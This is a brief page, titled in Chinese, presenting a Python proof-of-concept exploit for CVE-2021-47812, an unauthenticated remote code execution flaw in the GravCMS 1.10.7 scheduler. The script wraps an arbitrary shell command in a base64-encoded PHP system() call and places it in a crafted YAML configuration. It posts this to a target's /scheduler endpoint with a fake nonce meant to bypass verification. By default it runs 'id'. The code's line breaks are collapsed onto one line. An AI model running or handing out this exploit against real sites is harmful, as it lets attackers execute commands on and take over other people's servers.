CVE-2021-47812 GravCMS 1.10.7 scheduler端点未授权远程代码执行漏洞

import requests import base64 import sys # CVE-2021-47812 PoC - GravCMS Unauthenticated RCE # Target: GravCMS 1.10.7 scheduler endpoint TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" SCHEDULER_URL = f"{TARGET}/scheduler" def exploit(target_url, command): """Exploit CVE-2021-47812 to execute arbitrary command""" # Generate base64 encoded payload encoded_cmd = base64.b64encode(command.encode()).decode() payload = f"system(base64_decode('{encoded_cmd}'));" b64_payload = base64.b64encode(payload.encode()).decode() # Construct malicious YAML configuration yaml_config = f""" - command: '{b64_payload}' at: '0 0 0 1 1 *' output: /dev/null """ # Send exploit request to scheduler endpoint data = { 'admin-nonce': 'exploit', # Bypass nonce verification 'data': yaml_config } try: response = requests.post(SCHEDULER_URL, data=data, timeout=10) print(f"[*] Request sent to {SCHEDULER_URL}") print(f"[*] Status: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": # Example: Execute id command exploit(TARGET, "id")